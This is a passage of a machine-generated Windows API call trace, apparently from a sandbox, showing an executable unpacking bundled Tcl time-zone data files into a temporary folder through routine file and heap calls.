(dwErrCode=0x2) [0038.679] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Costa_Rica", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Costa_Rica", lpFilePart=0x0) returned 0x4a [0038.679] GetLastError () returned 0x2 [0038.679] SetLastError (dwErrCode=0x2) [0038.679] GetLastError () returned 0x2 [0038.679] SetLastError (dwErrCode=0x2) [0038.679] GetLastError () returned 0x2 [0038.679] SetLastError (dwErrCode=0x2) [0038.679] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Costa_Rica") returned 75 [0038.679] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Costa_Rica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\costa_rica"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.682] GetFileType (hFile=0x10c) returned 0x1 [0038.682] htonl (hostlong=0xa0010000) returned 0x1a0 [0038.682] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.682] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1a0, lpOverlapped=0x0) returned 1 [0038.683] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.683] CloseHandle (hObject=0x10c) returned 1 [0038.683] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e0 | out: hHeap=0x530000) returned 1 [0038.683] htonl (hostlong=0x30000000) returned 0x30 [0038.683] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.683] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.683] GetFileType (hFile=0x10c) returned 0x1 [0038.683] htonl (hostlong=0x81d85800) returned 0x58d881 [0038.684] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d8881, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.684] htonl (hostlong=0xa3000000) returned 0xa3 [0038.684] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa3) returned 0x544c50 [0038.684] htonl (hostlong=0xa3000000) returned 0xa3 [0038.684] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.684] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.684] htonl (hostlong=0xd3000000) returned 0xd3 [0038.684] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd3) returned 0x550600 [0038.684] htonl (hostlong=0xa3000000) returned 0xa3 [0038.684] htonl (hostlong=0xd3000000) returned 0xd3 [0038.684] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.684] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.684] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544c50 | out: hHeap=0x530000) returned 1 [0038.684] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.684] CloseHandle (hObject=0x10c) returned 1 [0038.684] GetLastError () returned 0x0 [0038.684] SetLastError (dwErrCode=0x0) [0038.684] GetLastError () returned 0x0 [0038.684] SetLastError (dwErrCode=0x0) [0038.684] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.684] GetFileType (hFile=0x10c) returned 0x1 [0038.684] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.684] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.684] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.684] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.684] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.685] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.685] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.685] CloseHandle (hObject=0x10c) returned 1 [0038.685] GetLastError () returned 0x0 [0038.685] SetLastError (dwErrCode=0x0) [0038.685] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.685] GetFileType (hFile=0x10c) returned 0x1 [0038.685] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.685] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.685] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.685] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.685] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.685] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.685] CloseHandle (hObject=0x10c) returned 1 [0038.685] GetLastError () returned 0x0 [0038.685] SetLastError (dwErrCode=0x0) [0038.685] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.686] GetFileType (hFile=0x10c) returned 0x1 [0038.686] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.686] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.686] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.686] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.686] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.686] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.686] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.686] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.686] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.686] CloseHandle (hObject=0x10c) returned 1 [0038.686] GetLastError () returned 0x0 [0038.686] SetLastError (dwErrCode=0x0) [0038.686] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Creston") returned 72 [0038.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Creston" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\creston"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.686] GetLastError () returned 0x2 [0038.686] SetLastError (dwErrCode=0x2) [0038.686] GetLastError () returned 0x2 [0038.686] SetLastError (dwErrCode=0x2) [0038.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Creston", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Creston", lpFilePart=0x0) returned 0x47 [0038.686] GetLastError () returned 0x2 [0038.686] SetLastError (dwErrCode=0x2) [0038.686] GetLastError () returned 0x2 [0038.686] SetLastError (dwErrCode=0x2) [0038.686] GetLastError () returned 0x2 [0038.686] SetLastError (dwErrCode=0x2) [0038.686] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Creston") returned 72 [0038.687] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Creston" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\creston"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.687] GetFileType (hFile=0x10c) returned 0x1 [0038.687] htonl (hostlong=0xd3000000) returned 0xd3 [0038.687] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.687] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd3, lpOverlapped=0x0) returned 1 [0038.688] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.688] CloseHandle (hObject=0x10c) returned 1 [0038.689] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.689] htonl (hostlong=0x30000000) returned 0x30 [0038.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.689] GetFileType (hFile=0x10c) returned 0x1 [0038.689] htonl (hostlong=0x24d95800) returned 0x58d924 [0038.689] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d8924, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.689] htonl (hostlong=0xd9050000) returned 0x5d9 [0038.689] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5d9) returned 0x550600 [0038.689] htonl (hostlong=0xd9050000) returned 0x5d9 [0038.689] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.689] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.689] htonl (hostlong=0x5b1e0000) returned 0x1e5b [0038.689] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e5b) returned 0x561090 [0038.689] htonl (hostlong=0xd9050000) returned 0x5d9 [0038.689] htonl (hostlong=0x5b1e0000) returned 0x1e5b [0038.689] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ef8 [0038.690] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ef8 | out: hHeap=0x530000) returned 1 [0038.690] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.690] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.690] CloseHandle (hObject=0x10c) returned 1 [0038.690] GetLastError () returned 0x0 [0038.690] SetLastError (dwErrCode=0x0) [0038.690] GetLastError () returned 0x0 [0038.690] SetLastError (dwErrCode=0x0) [0038.690] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.690] GetFileType (hFile=0x10c) returned 0x1 [0038.690] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.690] CloseHandle (hObject=0x10c) returned 1 [0038.690] GetLastError () returned 0x0 [0038.691] SetLastError (dwErrCode=0x0) [0038.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.691] GetFileType (hFile=0x10c) returned 0x1 [0038.691] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.691] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.691] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.691] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.691] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.691] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.691] CloseHandle (hObject=0x10c) returned 1 [0038.691] GetLastError () returned 0x0 [0038.691] SetLastError (dwErrCode=0x0) [0038.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.691] GetFileType (hFile=0x10c) returned 0x1 [0038.691] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.691] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.691] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.692] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.692] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.692] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.692] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.692] CloseHandle (hObject=0x10c) returned 1 [0038.692] GetLastError () returned 0x0 [0038.692] SetLastError (dwErrCode=0x0) [0038.692] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cuiaba") returned 71 [0038.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cuiaba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cuiaba"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.692] GetLastError () returned 0x2 [0038.692] SetLastError (dwErrCode=0x2) [0038.692] GetLastError () returned 0x2 [0038.692] SetLastError (dwErrCode=0x2) [0038.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cuiaba", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cuiaba", lpFilePart=0x0) returned 0x46 [0038.692] GetLastError () returned 0x2 [0038.692] SetLastError (dwErrCode=0x2) [0038.692] GetLastError () returned 0x2 [0038.692] SetLastError (dwErrCode=0x2) [0038.692] GetLastError () returned 0x2 [0038.692] SetLastError (dwErrCode=0x2) [0038.692] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cuiaba") returned 71 [0038.692] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Cuiaba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\cuiaba"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, 